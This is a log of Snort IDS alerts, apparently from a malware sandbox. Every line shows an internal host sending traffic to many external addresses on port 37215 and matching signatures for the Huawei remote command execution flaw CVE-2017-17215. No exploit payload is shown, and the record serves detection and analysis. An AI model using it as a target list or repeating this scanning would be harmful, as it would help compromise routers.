Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46442 -> 156.98.83.218:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42108 -> 197.215.149.213:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42108 -> 197.215.149.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59100 -> 156.216.173.116:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59100 -> 156.216.173.116:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38960 -> 41.86.126.31:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38960 -> 41.86.126.31:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38428 -> 197.123.58.130:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38428 -> 197.123.58.130:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58850 -> 41.119.93.57:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58850 -> 41.119.93.57:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56508 -> 197.35.253.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56508 -> 197.35.253.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58684 -> 197.252.226.228:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58684 -> 197.252.226.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33990 -> 41.196.189.226:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33990 -> 41.196.189.226:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36294 -> 41.12.156.197:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36294 -> 41.12.156.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38414 -> 156.167.122.41:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38414 -> 156.167.122.41:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39354 -> 41.113.11.68:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39354 -> 41.113.11.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51050 -> 41.41.95.201:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51050 -> 41.41.95.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44164 -> 41.26.2.2:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44164 -> 41.26.2.2:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47272 -> 41.201.89.180:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47272 -> 41.201.89.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56034 -> 41.66.186.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56034 -> 41.66.186.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42564 -> 197.27.200.127:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42564 -> 197.27.200.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56114 -> 156.237.170.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56114 -> 156.237.170.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58138 -> 156.59.177.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58138 -> 156.59.177.15:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46788 -> 197.91.250.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46788 -> 197.91.250.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54370 -> 156.201.14.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54370 -> 156.201.14.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48328 -> 41.15.193.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48328 -> 41.15.193.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41788 -> 197.234.232.228:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41788 -> 197.234.232.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36602 -> 197.230.194.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36602 -> 197.230.194.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58160 -> 197.119.156.133:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58160 -> 197.119.156.133:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45692 -> 156.27.221.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45692 -> 156.27.221.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49034 -> 197.216.238.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49034 -> 197.216.238.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60046 -> 41.174.115.39:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60046 -> 41.174.115.39:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47258 -> 41.170.34.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47258 -> 41.170.34.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41548 -> 197.33.14.33:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41548 -> 197.33.14.33:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56350 -> 156.211.89.221:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56350 -> 156.211.89.221:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60388 -> 197.149.113.57:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60388 -> 197.149.113.57:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44740 -> 41.38.164.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44740 -> 41.38.164.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36530 -> 156.231.3.185:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36530 -> 156.231.3.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34932 -> 197.9.107.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34932 -> 197.9.107.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60878 -> 41.140.184.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60878 -> 41.140.184.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60256 -> 41.204.133.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60256 -> 41.204.133.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45156 -> 197.37.79.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45156 -> 197.37.79.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35362 -> 41.117.93.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35362 -> 41.117.93.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35420 -> 197.64.121.194:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35420 -> 197.64.121.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41120 -> 41.186.239.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41120 -> 41.186.239.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60620 -> 41.144.136.243:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60620 -> 41.144.136.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44048 -> 197.255.246.136:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44048 -> 197.255.246.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52668 -> 156.197.209.223:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52668 -> 156.197.209.223:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57818 -> 156.159.10.140:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57818 -> 156.159.10.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53016 -> 156.32.124.85:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53016 -> 156.32.124.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57044 -> 156.218.214.250:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57044 -> 156.218.214.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37842 -> 41.209.100.187:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37842 -> 41.209.100.187:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51130 -> 41.109.81.128:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51130 -> 41.109.81.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58502 -> 197.156.129.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58502 -> 197.156.129.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37196 -> 41.89.132.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37196 -> 41.89.132.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52860 -> 156.29.235.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52860 -> 156.29.235.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49128 -> 156.165.201.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49128 -> 156.165.201.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33394 -> 156.168.136.24:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33394 -> 156.168.136.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53342 -> 197.218.247.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53342 -> 197.218.247.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39806 -> 197.99.205.156:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39806 -> 197.99.205.156:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58564 -> 156.245.2.205:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58564 -> 156.245.2.205:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60446 -> 197.226.229.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60446 -> 197.226.229.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38538 -> 41.179.145.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38538 -> 41.179.145.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42556 -> 41.195.163.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42556 -> 41.195.163.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59662 -> 197.50.100.135:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59662 -> 197.50.100.135:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37368 -> 156.90.232.117:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37368 -> 156.90.232.117:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42520 -> 156.225.196.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42520 -> 156.225.196.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37376 -> 156.15.16.186:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37376 -> 156.15.16.186:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54402 -> 41.63.241.27:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54402 -> 41.63.241.27:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34412 -> 156.156.74.74:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34412 -> 156.156.74.74:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33756 -> 197.244.78.206:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33756 -> 197.244.78.206:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53414 -> 156.38.108.66:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53414 -> 156.38.108.66:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53026 -> 197.57.68.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53026 -> 197.57.68.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45572 -> 197.67.118.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45572 -> 197.67.118.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53538 -> 41.236.7.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53538 -> 41.236.7.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39324 -> 156.211.48.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39324 -> 156.211.48.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36608 -> 41.223.243.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36608 -> 41.223.243.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32966 -> 41.45.237.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32966 -> 41.45.237.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54964 -> 41.58.54.58:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54964 -> 41.58.54.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43896 -> 41.186.220.178:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43896 -> 41.186.220.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50268 -> 197.128.25.119:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50268 -> 197.128.25.119:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49156 -> 156.245.237.250:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49156 -> 156.245.237.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52976 -> 197.57.169.86:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52976 -> 197.57.169.86:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56360 -> 41.241.121.248:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56360 -> 41.241.121.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38984 -> 156.122.137.98:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38984 -> 156.122.137.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40590 -> 41.194.61.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40590 -> 41.194.61.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60502 -> 156.176.31.94:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60502 -> 156.176.31.94:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41972 -> 156.163.189.151:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41972 -> 156.163.189.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44662 -> 41.253.102.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44662 -> 41.253.102.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35452 -> 197.116.197.156:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35452 -> 197.116.197.156:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57320 -> 156.12.201.188:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57320 -> 156.12.201.188:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41708 -> 156.19.135.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41708 -> 156.19.135.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56620 -> 156.24.110.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56620 -> 156.24.110.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51562 -> 41.130.180.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51562 -> 41.130.180.46:37215
